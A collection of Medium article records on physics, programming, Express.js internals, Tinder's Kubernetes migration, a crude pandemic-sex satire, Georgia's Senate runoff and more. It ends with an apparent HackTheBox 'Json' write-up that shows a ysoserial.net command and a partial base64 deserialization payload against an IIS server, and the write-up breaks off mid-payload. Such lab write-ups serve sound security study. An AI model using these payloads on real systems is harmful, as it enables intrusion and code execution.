Dozens of galaxies seen in the Abell 3827 cluster. Their motion can only be explained by invoking a mysterious and so far invisible type of particle known as Dark Matter. Credit to ESO.
During the 20th Century, three of the four fundamental forces of nature were described in the language of quantum physics. In this theory each fundamental force has an associated particle — for electromagnetism this is the photon, for the two nuclear forces (known as the Strong and Weak Nuclear Forces) three particles are associated — gluons, and the W and Z bosons.
It seems reasonable to expect the fourth fundamental force, gravity, would have a quantum particle as well. This particle, known as the graviton, is actually quite well defined theoretically, but if it does exist it is extremely hard to detect. It is hard, even in theory, to design a detector that could find the graviton. Indeed, scientists believe that it is impossible to build such a detector on the Earth. Problems also arise when trying to fit the graviton in with the mathematics of the rest of quantum physics.
Building a quantum theory of gravity remains one of the key challenges of physics. The hunt for quantum gravity has led to a number of theories — string theory, M theory, quantum loop gravity, twister theory, M8 theory… Theoretical physicists have thrown out dozens of suggestions on how to incorporate gravity into the quantum world, but so far it has been impossible to determine which, if any, is correct.
The weakness of the gravitational force is the main issue. The force is so weak that its effects cannot normally be seen at the quantum scale. Only in some of the most extreme places in the universe — in the big bang or at the heart of a black hole — can quantum gravity be observed. Black holes, by their very nature, cannot be directly observed, and neither can we peer back to the very earliest moments of the universe when quantum gravity may have been present.
All this means that for now the final theory of gravity remains out of our reach. Physicists will no doubt continue to build theoretical models of quantum gravity, but until we find a way to experimentally test those theories it is unlikely we make any real progress. And without a theory of quantum gravity, some of the most bizarre and mysterious structures in the universe will remain unknowable to us. | https://medium.com/discourse/the-quest-for-an-ultimate-theory-of-gravity-faf6d6a04596 | ['Alastair Isaacs'] | 2020-10-14 20:06:11.260000+00:00 | ['Astronomy', 'Physics', 'Space', 'History Of Technology', 'Science'] |
Mykonos Private Driver Luxury Services | Mykonos Private Driver Luxury Services
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LEARN MORE | https://medium.com/@HolidaysMykonos/mykonos-private-driver-luxury-services-696426590911 | ['Holidays Mykonos'] | 2020-05-15 21:59:13.714000+00:00 | ['Mykonos', 'Greece', 'Concierge', 'Holidays', 'Travel'] |
How to Learn to Program: Start with an Interpreted Language | So you want to learn how to write computer programs? Where do you start? What language do you learn first? In this article, I’m going to suggest that you start with an interpreted language that has a shell program (also called a REPL) you can use to practice with.
What is a Shell Program?
A shell program is a program that allows you to type in programming statements into the terminal and receive the output from those commands immediately. Shell programs are also called REPLs, with stands for Read-Evaluate-Print-Loop. In other words, a REPL is a program that reads programming statements, evaluates (executes) them, prints their output, and then loops back so you can enter another statement.
Languages such as Python and JavaScript have shell programs you can use to practice writing programs. This is because Python and JavaScript are interpreted languages, and it is common to implement a shell program for an interpreted language.
Languages such as C++ and Java, which are compiled languages, don’t have REPLs that come with the language but there are separate REPL programs you can buy. However, I suggest you start your programming education with either Python or JavaScript because interpreted programming languages are generally easier to learn than compiled languages, so let’s see how you can get REPLs for those two languages.
As I began my programming education many years ago during the dark first PC ages, just about every PC came with a BASIC interpreter, some of which had the interpreter installed in ROM. You just boot up the computer and you’re immediately in the shell program. I still remember how easy it was to sit down at the computer with my textbook and just start entering BASIC statements to see what would happen. That’s how learning programming should be for everybody.
Python and JavaScript Shell Programs
When you download the Python language you automatically get a shell program. To use it, simply open a command prompt window and type python . You will see a little message and then the Python shell program prompt will appear:
>>>
The Python shell is now waiting for you to enter Python statements for it to evaluate. I’ll show you how to work with the Python shell later in this article.
Getting a REPL for JavaScript is a little harder. A very popular choice in the JavaScript world is a program called Node.js. Node is a system for creating JavaScript applications but when you download Node, you also get a JavaScript REPL. Go to Node’s home page and download Node. Once it is installed, you can start the shell program by typing node at a command prompt. The program loads and you see a prompt like this:
>
Now you can start entering JavaScript statements and have the shell program interpret them.
Another option for JavaScript is the SpiderMonkey shell program. This shell program is developed by Mozilla (Firefox) and it also interprets JavaScript code but has a few different features than Node. You can find the SpiderMonkey shell program here. After you download the right shell program for your computing environment, you can open the shell program by typing ‘js’. The shell prompt appears like this:
js>
And you’re ready to start entering JavaScript statements.
A third way to use a JavaScript interpreter is to open a web browser and find the developer tools option for that browser. There will be an interpreter of some type located there you can use to execute JavaScript statements. Here is a screen shot of the JavaScript interpreter in use with Firefox:
Example Shell Interactions
Here are some screen shots that show some examples of interacting with the Spidermonkey, Node, and Python shell programs, in that order.
As you can see from these examples, interacting with the shell is easy and very intuitive. Just enter the statements you want to execute and you can immediately see the result in the shell.
Writing Shell Scripts
The JavaScript and Python shell programs also let you write what are called shell scripts. A shell script is a program that is written in a text file and then given to the program interpreter to run. Once you’ve mastered a language using the shell program, you’ll want to switch to shell scripts for writing more complex programs.
Here is an example of writing a shell script for Spidermonkey. I work in a Windows environment so the first thing I do is open Notepad (no judgment, please) and type in my program. I have to make sure when I save the file to save it with a .js extension, as required by the shell. Here is a screen shot of the text file:
The next step is to execute the script from the command line. Here is a screen shot:
I can execute the same program as-is with Node, except I need to change the print function to console.log since Node doesn’t use the print function. Here is the screen shot:
I can do the very same thing with Python. First, create a Python program in a text editor and be sure to save it with a .py extension. If you are copying my program, you’ll need to make one or two changes, but I’ll leave those as an exercise for you, as any good instructor would do. Then call the shell program with the name of the script file. Here is a screen shot:
Online Interpreter Environments
There are several online JavaScript and Python interpreters you can use. Just do a search for web-based JavaScript or Python interpreters and you will be shown several sites you can use for exploring these languages online. One of my favorite sites that hosts many different languages is repl.it. I encourage you to explore their site and play around with the many interpreters found there. This site also have online compilers you can use to learn compiled languages such as C++ and Java without having to download and install a compiler and/or an IDE to write, compile, and run programs.
Why Start with an Interpreter?
Learning an interpreted programming language for your first programming language has several advantages over learning a compiled language first:
An interpreter allows you to enter a statement and see the results immediately. A compiler forces you to go through the edit-compile-build-run cycle every time you want to evaluate a program. Interpreted languages have a more user-friendly syntax than do compiled languages. For example, Python doesn’t require curly braces for designating blocks of code (it uses indention) and Python statements don’t have to end with a semicolon. The ease of entering statements and seeing their results encourages exploration because there isn’t such a long program development cycle (see reason 1 above). Some programming concepts are easier to demonstrate first using an interpreter. For example, when I am teaching my students that a literal evaluates to itself, it’s hard to demonstrate this with a compiled language. With an interpreter, a learner can simply type a literal value into the shell and see that the shell returns just that value. Another example is order of operations. A learner can modify the order of operations in an arithmetic statement and see immediate changes without going through the compiling cycle.
Learning Programming with an Interpreter
If you are just starting out learning to program, pick a language that has a shell program you can use. The best way to learn programming is to explore what the language can do with short, simple programs, building your way up to harder, more complex programs. You can do this best with a shell program. If you are learning C++ or Java, look for one of the shell programs I mentioned earlier in this article.
The most important thing to do is just start. Start writing programs and start right now. | https://levelup.gitconnected.com/how-to-learn-to-program-start-with-an-interpreted-language-b9b680158586 | ['Mike Mcmillan'] | 2020-02-17 01:38:40.536000+00:00 | ['Programming Education', 'Learn To Code', 'Programming', 'Codingbootcamp'] |
AI CHATBOTS to improve customer service costs | Businesses spend nearly 1 trillion in customer service costs each year. Customer support executives spend most of their time in a day attending to repetitive queries. This not only drains the cost-efficiency of an organization but also leads to slow responses in cross-channel communications. Delayed responses impact the customer experience significantly causing a higher customer churn rate.
Per a study by Deloitte on the future of customer service, 56% of companies are already investing in Conversational AI to enhance their cross-channel interactions with customers.
AI and NLP-powered virtual assistants will help companies to slash their contact center costs significantly while improving customer experiences by sending instant, automated responses.
Trending Bot Articles:
Moreover, it is not only about automation or speeding up the process, but what holds more importance here is providing customers with natural, human-like, personalized responses.
AI chatbots shoot intelligent responses to customers based on historical data, and intent and contextual analysis to derive real business value by winning customer trust and loyalty. Let’s take a look at the infographic to understand how AI chatbots are reducing customer support costs by minimizing wait time, cutting down dependency on human agents, and promoting self-service:
Also, read about 9 Reasons Why Low-Code/No-Code Platform Is the Best Choice for Increasing Adoption of Virtual Assistants
To book a Free Demo please Click Here | https://chatbotslife.com/ai-chatbots-to-improve-customer-service-costs-7d70d757ac43 | ['Enterprise Bot'] | 2021-03-24 13:33:54.424000+00:00 | ['Chatbots', 'Customer Service Cost', 'Customer Experience', 'Conversational Ai', 'Customer Service'] |
Square Peg ♡ Round Hole | Square Peg had been on edge.
In a world of contours and nuance, of free-flowing forms, he saw himself as — a misfit.
Surrounded by ebullient personalities, of nebulous shapes and sizes, he was — an outsider.
He felt cornered.
There was that persistent pressure, pounding his every square inch.
He was afraid that he might crack, buckle and implode. | https://joevaradi.medium.com/square-peg-round-hole-ae5a0e7d761c | ['Joe Váradi'] | 2019-10-03 01:45:22.481000+00:00 | ['Humor', 'Fiction Friday', 'Relationships', 'Love', 'Allegory'] |
시간의 괴물 A Monster of Time | Allegory of Prudence by Tiziano Vecellio
It is such a strange picture. There are three heads of the men looking in different directions — the elderly man with long beard on the left, the middle-aged man with dark beard in the middle, and the good-looking young man with blond hair on the right. Below them, three animal heads are in the same positions. It is hard to distinguish whether they are three men or three monsters with three heads, and I also wonder why three animals appeared in the painting. Why did the painter draw this picture like a riddle?
Taziano, who painted the picture, was the most famous painter in Venice in the 16th century and the first internationally well-known painter. He was good at painting religious pictures, mythical pictures, portraits,
and even nude pictures for a bedroom, so he had a wide range of customers from Charles V of the Holy Roman Empire to the Roman Pope and Italian monarchs and got the greatest reputation in those days. He had only success.
He painted this picture in his old age. It is an allegory comparing the three stages of life with three animals. The right side where the light goes in means young adolescence, the middle is energetic middle-age, and the left means old-age. The young-aged dog symbolizes loyalty and immaturity, the middle-aged lion represents courage and strength, and the old-aged wolf means greed and slyness. Why did he compare experienced old age to a wolf? It is not easy to recognize, but there is a quote written in Latin at top of the picture. We can guess the painter’s intention from it.
“Learn from yesterday and behave carefully today not to fail tomorrow.”
It is a message to live in the present thoughtfully and wisely not to ruin our lives through greed caused by past mistakes.
Unlike the title, the picture is interpreted into the allegory of sin and confession. That being said it is the face of the elderly man who resembles Taziano, and it is his portrait depicting a regret of brashness and mistakes in his young adulthood.
While living life, everyone can make mistakes. We have to admit our mistakes, but we usually choose self-justification. Furthermore, human beings are animals that consign our mistakes to oblivion. We easily forget about our disadvantageous past. Through this mysterious portrait, maybe didn’t he want to warn us against being a monster of time who forgets the past?
Written by Lee Eunhwa, Art Critic, Dongailbo
Translated by Kim Seonhye | https://medium.com/@littlegreycells/%EC%8B%9C%EA%B0%84%EC%9D%98-%EA%B4%B4%EB%AC%BC-a-monster-of-time-726aad6b9474 | [] | 2021-01-18 12:40:54.819000+00:00 | ['Column', 'Translation', 'Korean', 'Culture Change', 'English'] |
[NodeJS] Express source code — Router, Route, Layer | Relationship between Router, Route and Layer
You may think there is an app.get function in application.js so that this function can be called. Yes, it is. However, the author used a clever way to avoid declaring a bunch of HTTP verb action functions in application.js. A function methods.forEach(...) has been used. When we use require function, that js file is going to run once. When it comes to methods.forEach() in the runtime, it will set up those bunch of HTTP verb actions function into the app object. Therefore, it can delegate the HTTP verb action function to the router[method] function.
Using debugger to show the function after app.get
function to handle different HTTP verb action
A router has been initialised by the function lazyrouter() . One thing worth mentioning is that there is a router stack(actually an array in JS) for saving routes. After that, the route method in the router will be executed and make a new Route and use a Layer to wrap it. Route also has a stack to store the functions that should be called when matching a specific route.
Therefore, The relationship of Router , Route and Layer can be shown as follow:
relationship between Layer, Router, Route
Router stack is inside express application. The bottom one should be app router, maybe other routers on top. In each router, there is a route stack which to store the functions that need to be executed when endpoint gets hit.
Conclusion
We have covered several things in this article. Here are some key takeaways. May be the topic next time will focus on req and res mechanism. If you have any questions or comments, please comment down below or reach me on Twitter(@frankytse_07). See you. | https://medium.com/analytics-vidhya/nodejs-express-source-code-explanation-c1770ac9c989 | ['Franky Tse'] | 2020-06-26 16:34:34.601000+00:00 | ['Expressjs', 'JavaScript', 'Self Improvement'] |
Tinder’s move to Kubernetes | Written By: Chris O’Brien, Engineering Manager |Chris Thomas, Engineering Manager| Jinyong Lee, Senior Software Engineer | Edited By: Cooper Jackson, Software Engineer
Why
Almost two years ago, Tinder decided to move its platform to Kubernetes. Kubernetes afforded us an opportunity to drive Tinder Engineering toward containerization and low-touch operation through immutable deployment. Application build, deployment, and infrastructure would be defined as code.
We were also looking to address challenges of scale and stability. When scaling became critical, we often suffered through several minutes of waiting for new EC2 instances to come online. The idea of containers scheduling and serving traffic within seconds as opposed to minutes was appealing to us.
It wasn’t easy. During our migration in early 2019, we reached critical mass within our Kubernetes cluster and began encountering various challenges due to traffic volume, cluster size, and DNS. We solved interesting challenges to migrate 200 services and run a Kubernetes cluster at scale totaling 1,000 nodes, 15,000 pods, and 48,000 running containers.
How
Starting January 2018, we worked our way through various stages of the migration effort. We started by containerizing all of our services and deploying them to a series of Kubernetes hosted staging environments. Beginning October, we began methodically moving all of our legacy services to Kubernetes. By March the following year, we finalized our migration and the Tinder Platform now runs exclusively on Kubernetes.
Building Images for Kubernetes
There are more than 30 source code repositories for the microservices that are running in the Kubernetes cluster. The code in these repositories is written in different languages (e.g., Node.js, Java, Scala, Go) with multiple runtime environments for the same language.
The build system is designed to operate on a fully customizable “build context” for each microservice, which typically consists of a Dockerfile and a series of shell commands. While their contents are fully customizable, these build contexts are all written by following a standardized format. The standardization of the build contexts allows a single build system to handle all microservices.
Figure 1–1 Standardized build process through the Builder container
In order to achieve the maximum consistency between runtime environments, the same build process is being used during the development and testing phase. This imposed a unique challenge when we needed to devise a way to guarantee a consistent build environment across the platform. As a result, all build processes are executed inside a special “Builder” container.
The implementation of the Builder container required a number of advanced Docker techniques. This Builder container inherits local user ID and secrets (e.g., SSH key, AWS credentials, etc.) as required to access Tinder private repositories. It mounts local directories containing the source code to have a natural way to store build artifacts. This approach improves performance, because it eliminates copying built artifacts between the Builder container and the host machine. Stored build artifacts are reused next time without further configuration.
For certain services, we needed to create another container within the Builder to match the compile-time environment with the run-time environment (e.g., installing Node.js bcrypt library generates platform-specific binary artifacts). Compile-time requirements may differ among services and the final Dockerfile is composed on the fly.
Kubernetes Cluster Architecture And Migration
Cluster Sizing
We decided to use kube-aws for automated cluster provisioning on Amazon EC2 instances. Early on, we were running everything in one general node pool. We quickly identified the need to separate out workloads into different sizes and types of instances, to make better use of resources. The reasoning was that running fewer heavily threaded pods together yielded more predictable performance results for us than letting them coexist with a larger number of single-threaded pods.
We settled on:
m5.4xlarge for monitoring (Prometheus)
c5.4xlarge for Node.js workload (single-threaded workload)
c5.2xlarge for Java and Go (multi-threaded workload)
c5.4xlarge for the control plane (3 nodes)
Migration
One of the preparation steps for the migration from our legacy infrastructure to Kubernetes was to change existing service-to-service communication to point to new Elastic Load Balancers (ELBs) that were created in a specific Virtual Private Cloud (VPC) subnet. This subnet was peered to the Kubernetes VPC. This allowed us to granularly migrate modules with no regard to specific ordering for service dependencies.
These endpoints were created using weighted DNS record sets that had a CNAME pointing to each new ELB. To cutover, we added a new record, pointing to the new Kubernetes service ELB, with a weight of 0. We then set the Time To Live (TTL) on the record set to 0. The old and new weights were then slowly adjusted to eventually end up with 100% on the new server. After the cutover was complete, the TTL was set to something more reasonable.
Our Java modules honored low DNS TTL, but our Node applications did not. One of our engineers rewrote part of the connection pool code to wrap it in a manager that would refresh the pools every 60s. This worked very well for us with no appreciable performance hit.
Learnings
Network Fabric Limits
In the early morning hours of January 8, 2019, Tinder’s Platform suffered a persistent outage. In response to an unrelated increase in platform latency earlier that morning, pod and node counts were scaled on the cluster. This resulted in ARP cache exhaustion on all of our nodes.
There are three Linux values relevant to the ARP cache:
Credit
gc_thresh3 is a hard cap. If you’re getting “neighbor table overflow” log entries, this indicates that even after a synchronous garbage collection (GC) of the ARP cache, there was not enough room to store the neighbor entry. In this case, the kernel just drops the packet entirely.
We use Flannel as our network fabric in Kubernetes. Packets are forwarded via VXLAN. VXLAN is a Layer 2 overlay scheme over a Layer 3 network. It uses MAC Address-in-User Datagram Protocol (MAC-in-UDP) encapsulation to provide a means to extend Layer 2 network segments. The transport protocol over the physical data center network is IP plus UDP.
Figure 2–1 Flannel diagram (credit)
Figure 2–2 VXLAN Packet (credit)
Each Kubernetes worker node allocates its own /24 of virtual address space out of a larger /9 block. For each node, this results in 1 route table entry, 1 ARP table entry (on flannel.1 interface), and 1 forwarding database (FDB) entry. These are added when the worker node first launches or as each new node is discovered.
In addition, node-to-pod (or pod-to-pod) communication ultimately flows over the eth0 interface (depicted in the Flannel diagram above). This will result in an additional entry in the ARP table for each corresponding node source and node destination.
In our environment, this type of communication is very common. For our Kubernetes service objects, an ELB is created and Kubernetes registers every node with the ELB. The ELB is not pod aware and the node selected may not be the packet’s final destination. This is because when the node receives the packet from the ELB, it evaluates its iptables rules for the service and randomly selects a pod on another node.
At the time of the outage, there were 605 total nodes in the cluster. For the reasons outlined above, this was enough to eclipse the default gc_thresh3 value. Once this happens, not only are packets being dropped, but entire Flannel /24s of virtual address space are missing from the ARP table. Node to pod communication and DNS lookups fail. (DNS is hosted within the cluster, as will be explained in greater detail later in this article.)
To resolve, the gc_thresh1, gc_thresh2, and gc_thresh3 values are raised and Flannel must be restarted to re-register missing networks.
Unexpectedly Running DNS At Scale
To accommodate our migration, we leveraged DNS heavily to facilitate traffic shaping and incremental cutover from legacy to Kubernetes for our services. We set relatively low TTL values on the associated Route53 RecordSets. When we ran our legacy infrastructure on EC2 instances, our resolver configuration pointed to Amazon’s DNS. We took this for granted and the cost of a relatively low TTL for our services and Amazon’s services (e.g. DynamoDB) went largely unnoticed.
As we onboarded more and more services to Kubernetes, we found ourselves running a DNS service that was answering 250,000 requests per second. We were encountering intermittent and impactful DNS lookup timeouts within our applications. This occurred despite an exhaustive tuning effort and a DNS provider switch to a CoreDNS deployment that at one time peaked at 1,000 pods consuming 120 cores.
While researching other possible causes and solutions, we found an article describing a race condition affecting the Linux packet filtering framework netfilter. The DNS timeouts we were seeing, along with an incrementing insert_failed counter on the Flannel interface, aligned with the article’s findings.
The issue occurs during Source and Destination Network Address Translation (SNAT and DNAT) and subsequent insertion into the conntrack table. One workaround discussed internally and proposed by the community was to move DNS onto the worker node itself. In this case:
SNAT is not necessary, because the traffic is staying locally on the node. It doesn’t need to be transmitted across the eth0 interface.
interface. DNAT is not necessary because the destination IP is local to the node and not a randomly selected pod per iptables rules.
We decided to move forward with this approach. CoreDNS was deployed as a DaemonSet in Kubernetes and we injected the node’s local DNS server into each pod’s resolv.conf by configuring the kubelet — cluster-dns command flag. The workaround was effective for DNS timeouts.
However, we still see dropped packets and the Flannel interface’s insert_failed counter increment. This will persist even after the above workaround because we only avoided SNAT and/or DNAT for DNS traffic. The race condition will still occur for other types of traffic. Luckily, most of our packets are TCP and when the condition occurs, packets will be successfully retransmitted. A long term fix for all types of traffic is something that we are still discussing.
Using Envoy To Achieve Better Load Balancing
As we migrated our backend services to Kubernetes, we began to suffer from unbalanced load across pods. We discovered that due to HTTP Keepalive, ELB connections stuck to the first ready pods of each rolling deployment, so most traffic flowed through a small percentage of the available pods. One of the first mitigations we tried was to use a 100% MaxSurge on new deployments for the worst offenders. This was marginally effective and not sustainable long term with some of the larger deployments.
Another mitigation we used was to artificially inflate resource requests on critical services so that colocated pods would have more headroom alongside other heavy pods. This was also not going to be tenable in the long run due to resource waste and our Node applications were single threaded and thus effectively capped at 1 core. The only clear solution was to utilize better load balancing.
We had internally been looking to evaluate Envoy. This afforded us a chance to deploy it in a very limited fashion and reap immediate benefits. Envoy is an open source, high-performance Layer 7 proxy designed for large service-oriented architectures. It is able to implement advanced load balancing techniques, including automatic retries, circuit breaking, and global rate limiting.
The configuration we came up with was to have an Envoy sidecar alongside each pod that had one route and cluster to hit the local container port. To minimize potential cascading and to keep a small blast radius, we utilized a fleet of front-proxy Envoy pods, one deployment in each Availability Zone (AZ) for each service. These hit a small service discovery mechanism one of our engineers put together that simply returned a list of pods in each AZ for a given service.
The service front-Envoys then utilized this service discovery mechanism with one upstream cluster and route. We configured reasonable timeouts, boosted all of the circuit breaker settings, and then put in a minimal retry configuration to help with transient failures and smooth deployments. We fronted each of these front Envoy services with a TCP ELB. Even if the keepalive from our main front proxy layer got pinned on certain Envoy pods, they were much better able to handle the load and were configured to balance via least_request to the backend.
For deployments, we utilized a preStop hook on both the application and the sidecar pod. This hook called the sidecar health check fail admin endpoint, along with a small sleep, to give some time to allow the inflight connections to complete and drain.
One reason we were able to move so quickly was due to the rich metrics we were able to easily integrate with our normal Prometheus setup. This allowed us to see exactly what was happening as we iterated on configuration settings and cut traffic over.
The results were immediate and obvious. We started with the most unbalanced services and at this point have it running in front of twelve of the most important services in our cluster. This year we plan on moving to a full-service mesh, with more advanced service discovery, circuit breaking, outlier detection, rate limiting, and tracing.
Figure 3–1 CPU convergence of one service during cutover to envoy
The End Result
Through these learnings and additional research, we’ve developed a strong in-house infrastructure team with great familiarity on how to design, deploy, and operate large Kubernetes clusters. Tinder’s entire engineering organization now has knowledge and experience on how to containerize and deploy their applications on Kubernetes.
On our legacy infrastructure, when additional scale was required, we often suffered through several minutes of waiting for new EC2 instances to come online. Containers now schedule and serve traffic within seconds as opposed to minutes. Scheduling multiple containers on a single EC2 instance also provides improved horizontal density. As a result, we project substantial cost savings on EC2 in 2019 compared to the previous year.
It took nearly two years, but we finalized our migration in March 2019. The Tinder Platform runs exclusively on a Kubernetes cluster consisting of 200 services, 1,000 nodes, 15,000 pods, and 48,000 running containers. Infrastructure is no longer a task reserved for our operations teams. Instead, engineers throughout the organization share in this responsibility and have control over how their applications are built and deployed with everything as code. | https://medium.com/tinder-engineering/tinders-move-to-kubernetes-cda2a6372f44 | [] | 2019-04-17 04:54:48.236000+00:00 | ['Kubernetes', 'Microservices', 'AWS', 'Terraform', 'Docker'] |
Monitoring the Pandemic Orgy | Monitoring the Pandemic Orgy
Let’s go over the ground rules
Photo by Dainis Graveris on Unsplash
“Okay. I need everyone wearing n95 masks, people. The ones meant for doctors and nurses. NOT the painters’ masks. Those have a vent…Carl, you’ll kill everyone with a vented mask. Sorry, sorry. I know I shouldn’t use extreme language like that.
“If we’re going to have this orgy, we’re going to do it right. I disinfected all the beds. Everyone is gonna get hosed down with Lysol. Want some Lysol for your dick? Lysol for cock? Lysol for cock? Wanna just…spray it on up there? Will it cause a yeast infection? I mean, probably. You’re worried about infections now?
“Okay. So a few rules. Leave the masks on. Doggy-style whenever possible. Reverse cowgirl…you get the point. No missionary. Missionary is not allowed. No, Carl, don’t woo — This isn’t like some kind of kinky stance. I literally mean missionary is not allowed. Do not breathe on each other.
“We have glory hole walls. Glory hole for dicks and pussies and whatever you want. Stick a titty in the hole. Disinfect the holes. Which holes? All the holes. If it’s got a hole, disinfect it.
“No kissing. Don’t even talk to each other. Definitely don’t say nice things to each other. Just dip in and out like you’re checking someone’s oil.
“We’re all gonna have a great time with some real impersonal sex. Carl, I said no kissing. Oh yeah, that’s the woman you came with? So that’s your wife. Oh no. That is your wife. Carl, is this person in your household? Don’t kiss someone who isn’t in your household! Yes, I get that you technically walked in with this woman. That’s not the spirit of this rule.
“Okay, well…this whole having rules at an orgy is super great. Super fun. It’s in no way pointless and a buzzkill. Have you all ever seen the episode of Friends where they have one super-organized party with rules and one super-fun party without rules? Yeah. Guess where we are. Hey! No! That’s a face-to-face position. Okay, no, it’s not technically missionary, but I’m going to need you to face a wall at once! No touching, people, no touching!
“On second thought, maybe this was a bad idea.” | https://medium.com/sex-and-satire/monitoring-the-pandemic-orgy-634e7c980fff | ['Lisa Martens'] | 2020-12-05 10:53:41.895000+00:00 | ['Humor', 'Covid Diaries', 'Satire', 'Sexuality', 'Sex'] |
2020 Election Season will End in 2021 | The 117th Congress of the United States of America will be sworn in on Jan. 3, 2021. Two days later, on Jan. 5, Georgians will elect their two U.S. senators.
Back on Nov. 3, the election groundhog popped up, saw a shadow (translation: no Senate candidate winning a majority) and forecast nine more weeks of electioneering. Put another way, Georgia will have an electoral hangover for several days past New Year’s Day.
The eyes of the nation and the world — yes, the world — are on Georgia. At stake is control of the Senate, which, in turn, would determine who chairs powerful Senate committees, the fate of initiatives by president-elect Joe Biden, and such matters as filling vacancies on the Supreme Court of the United States.
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Republicans must win at least one of the two seats to retain a narrow majority in the Senate. If both Democrats win, they and independents who caucus with them would hold 50 seats and the Senate would be divided 50–50. The tie-breaking vote would rest with the vice president-elect, Democrat Kamala Harris. Democrats then would hold the White House, Senate and House of Representatives.
In five polls of self-identified likely voters released Dec. 15–21, four gave incumbent Republican Sen. David Perdue leads over Democratic challenger Jon Ossoff ranging from 1 to 4 percentage points, with Ossoff leading by 2 points in the fifth poll. The same four polls placed interim Republican Sen. Kelly Loeffler ahead of Democrat Rev. Raphael Warnock by 1 to 7 points, with Warnock ahead in the fifth poll by 1 point.
If elected, Warnock would be what is believed the state’s first African American senator and Ossoff, the available histories suggest, the state’s first elected Jewish senator and only the second Jew to win a statewide partisan race.
Note: John Sanford Cohen, whose father was Jewish and mother, Episcopalian, was appointed to fill a vacancy and serve in the Senate from 1932–33. Sam Olens was elected attorney general in 2010 and resigned the post in 2016.
President Donald Trump and Vice President Mike Pence have campaigned for Loeffler and Perdue, as Biden and Harris have for Warnock and Ossoff. An estimated $450 million has been spent on advertising during the campaign by the candidates and outside groups.
While nearly all of the runoff attention is focused on the Senate seats, voters also will choose a member of the state Public Service Commission, between incumbent Republican Lauren McDonald Jr. and Democratic challenger Daniel Blackman.
In the weeks leading to Jan. 5, the Senate candidates have waged intense efforts to attract votes from an estimated 90,000 to 100,000 registered Jewish voters. Given that Jews vote at a higher percentage than the population in general, their votes become all the more influential.
The vote in Georgia will be a mix of absentee ballots, early in-person voting (from Dec. 14-Jan. 1) and votes cast on Election Day itself. The Atlanta Journal-Constitution reported that nearly 76,000 newly registered voters had been added to the rolls since the general election, bringing the state to some 7.7 million registered voters.
Turnout in runoffs tends to be significantly less than in general elections, but Georgia may defy that trend. As of Dec. 21, the number of votes already cast — in person or through absentee ballots — was just 6 percent less than at the same point in advance of the general election. More than 1.47 million people already had voted, 61.3 percent through in-person early voting and 38.7 percent by absentee ballots.
A rule passed in November by the state election board allows Georgia’s 159 counties to begin processing — but not counting — absentee ballots two weeks before the Jan. 5 runoff, and requires that this work begin at least one week before the election. The election board also issued a requirement that counties preserve surveillance video of absentee drop boxes for 30 days after Election Day.
In mid-December, a federal judge in Georgia dismissed a suit brought by Loeffler and Perdue, the state Republican Party and the National Republican Senatorial Committee, asking that additional measures to verify signatures on absentee ballots be ordered before counties begin processing those ballots. Another federal judge dismissed a suit seeking to eliminate or restrict the use of drop boxes, and a third judge dismissed a suit that would have barred some newly registered voters from casting ballots. | https://medium.com/@daveschechter/2020-election-season-will-end-in-2021-a543e4c1b9d | ['Dave Schechter'] | 2020-12-23 16:33:32.698000+00:00 | ['Voting', 'Jewish', 'Election 2020', 'Georgia', 'Politics'] |
HacktheBox — Json. This is a write-up on how I solved Json… | This is a write-up on how I solved Json from HacktheBox.
Hack the Box is an online platform where you practice your penetration testing skills.
Summary:
An IIS Server is vulnerable to JSON de-serialization using the client's HTTP Authentication Bearer field, leading to code execution. For root, I went the unintended route by using JuicyPotato since SEImpersonatePrivilege is enabled plus this is a Windows 2012 R2 Datacenter machine.
Scanning:
I first run an nmap scan:
nmap -sV -sC -oA nmap/initial 10.10.10.158
Open ports are 21, 80, SMB and RPC’s. It also tells us that the OS is Windows Server 2008 R2 which is odd. I first check the webpage on port 80.
/login.html
Before trying basic credentials, I first checked the source and find it interesting because I see texts usually used in C# or other .NET family.
I try the credential admin:admin and capture the request using Burp:
Note that it submits to the endpoint /api/token, the Referer field is /login.html, and the Content-Type is application/json.
Checking the response, its 202 which is usually seen in API’s. HTTP Status 202 indicates that request has been accepted for processing, but the processing has not been completed.
Note also that the Headers of the response include the following:
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Oauth2= eyJJ..
The value of Oauth2 looks like a JWT, which is composed of base64 characters. Decoding it results to the values:
The password field looks like an md5 hash. Running md5sum on the string admin, we can verify that’s it.
The landing page looks like this.
Exploitation:
After clicking on various links and capturing the request, what’s interesting is clicking the Dashboard link.
When selecting the Dashboard option, the request looks like this:
Notice also the Bearer field is identical with the OAuth2. Since it’s basically JSON values encoded in base64, which is interpreted by the C# server, I looked for vulnerabilities or attack vectors that are related to these events. Most of the links suggest a JSON Deserialization attack.
After researching, most of the writeups suggest using the ysoserial.net project, which is a deserialization payload generator. https://github.com/pwntester/ysoserial.net. Before that, I try to check how the server responds if the value I place in Bearer field is not in Json format.
root@kali:~/htb/boxes/Json-10.10.10.158# echo -n "test" | base64
dGVzdA==
Sending the request:
The server’s response mentions a “Cannot deserialize Json.Net object”.
I then use ysoserial.net. Running this on a Windows machine, I can use the gadget ObjectDataProvider since one of its formatters is Json.Net which was mentioned that the server cannot deserialize the Json.Net Object. Which indicates it expects the data to be sent in the format of Json.Net. I first try to execute a ping to my IP, output should be base64:
.\ysoserial.exe -f Json.Net -g ObjectDataProvider -o base64 -c "ping -n 2 10.10.14.81"
The output of the ysoserial in base64:
ew0KICAgICckdHlwZSc6J1N5c3RlbS5XaW5kb3dzLkRhdGEuT2JqZWN0RGF0YVByb3ZpZGVyLCBQcmVzZW50YXRpb25GcmFtZXdvcmssIFZlcnNpb249NC4
wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1JywgDQogICAgJ01ldGhvZE5hbWUnOidTdGFydCcsDQogIC
AgJ01ldGhvZFBhcmFtZXRlcnMnOnsNCiAgICAgICAgJyR0eXBlJzonU3lzdGVtLkNvbGxlY3Rpb25zLkFycmF5TGlzdCwgbXNjb3JsaWIsIFZlcnNpb249N
C4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5JywNCiAgICAgICAgJyR2YWx1ZXMnOlsnY21kJywnL2Mg
